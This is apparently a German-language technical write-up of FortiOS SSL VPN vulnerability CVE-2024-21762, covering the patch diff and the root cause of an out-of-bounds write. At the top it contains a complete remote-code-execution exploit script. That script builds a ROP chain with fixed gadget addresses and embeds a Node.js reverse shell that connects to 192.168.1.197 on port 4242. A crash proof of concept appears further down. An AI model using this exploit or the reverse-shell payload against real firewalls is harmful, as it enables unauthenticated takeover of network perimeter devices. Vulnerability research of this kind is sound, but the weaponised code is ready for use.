
Out-of-Bounds-Schreibzugriff in der Fortinet-FortiOS-Sicherheitslücke CVE-2024-21762
Schreibzugriff außerhalb der Grenzen in Fortinet FortiOS – Schwachstelle CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate hat im Februar ein Versionsupdate veröffentlicht und mehrere mittlere bis hohe Schwachstellen behoben. Eine der schwerwiegenden Schwachstellen ist eine nicht autorisierte Out-of-Bounds-Schreibschwachstelle in SSL VPN. Die Schwachstellenwarnung weist darauf hin, dass diese Schwachstelle möglicherweise in freier Wildbahn ausgenutzt wird. Dieser Artikel stellt die Analyse des Autors zum Ausnutzungsprozess dieser Schwachstelle vor, um eine Remote-Code-Ausführung zu erreichen.

Die für die Schwachstellenanalyse in diesem Artikel verwendete Umgebung ist FGT_VM64-v7.4.2.F-build2571.
Beim Vergleich der Binärdateien der reparierten Versionen (7.4.2 und 7.4.3) ergab die Analyse, dass der Reparaturcode in der Funktion sub_18F4980 (7.4.2) liegt.

Bei der Analyse dieser Funktion ist es nicht schwer zu erkennen, dass die Logik dieser Funktion darin besteht, die Körperdaten der HTTP-POST-Anforderung zu lesen. Gleichzeitig wird Transfer-Encoding gemäß dem Anforderungsheader bestimmt, ob im Chunk-Format oder basierend auf Content-Length gelesen werden soll. Gemäß den Vergleichsergebnissen des Kontrollflussgraphen gibt es zwei Codeänderungen:
Beim Parsen des Chunk-Formats wird ap_getline aufgerufen, um die Chunk-Länge zu lesen und zu überprüfen, ob der Rückgabewert von ap_getline größer als 16 ist. Wenn er größer als 16 ist, wird dies als illegale Chunk-Länge betrachtet.

Beim Lesen des Chunk-Trailers stammt die Quelle des geschriebenen \r\n-Offsets aus der line_off-Zuweisungsquelle. Der Wert von line_off vor der Reparatur stammt von *(_QWORD *)(a1 + 744), und der Rückgabewert nach der Reparatur stammt von line_off von ap_getline.
Wenn man weiter rückwärts verfolgt, findet man, dass der Wert von *(_QWORD *)(a1 + 744) die Länge des Chunk-Längenfeldes der ersten Überprüfung ist.

Wenn man weiter rückwärts verfolgt, findet man, dass der Wert von *(_QWORD *)(a1 + 744) die Länge des Chunk-Längenfeldes der ersten Überprüfung ist.

Gleichzeitig kann man aus dem Code ersehen, dass beim Wert des Chunk-Längenfeldes nach Hex-Decodierung 0 die Logik zum Lesen des Chunk-Trailers gestartet wird.
Nach der Analyse des Patches können wir folgende Schlussfolgerungen ziehen:
ap_getline zum Lesen des Chunk-Trailers wird \r\n entsprechend der Länge des Chunk-Längenfeldes in den Puffer geschrieben.Wenn also viele Nullen im Chunk-Längenfeld übergeben werden und die Länge der Nullen größer als 1/2 der verbleibenden Pufferlänge ist, wird ein Out-of-Bounds-Schreibzugriff auf \r\n ausgelöst. Durch Debuggen kann festgestellt werden, dass sich der Zielpuffer auf dem Stack befindet (Funktion sub_1A111E0) , und die Rücksprungadresse ist an Offset 0x2028 gespeichert. Wenn \r\n an Offset 0x202e geschrieben wird, tritt ein Absturz aufgrund einer illegalen Adresse auf, wenn die Funktion zur Ausführung der ret-Anweisung zurückkehrt, um den RIP wiederherzustellen.
Crash-PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Crash-Szene:

Durch die Analyse der Ursache der Schwachstelle ist ersichtlich, dass die Schwachstelle genutzt werden kann, um auf dem Stack \r\n (zwei Bytes) außerhalb der Grenzen zu schreiben, und der Bereich außerhalb der Grenzen liegt nahe bei 0x2000. Da der geschriebene Inhalt sehr begrenzt ist, kann RCE nicht durch direktes Hijacking des RIP erreicht werden. Daher muss man sich auf die auf dem Stack gespeicherten Speicherzeiger konzentrieren.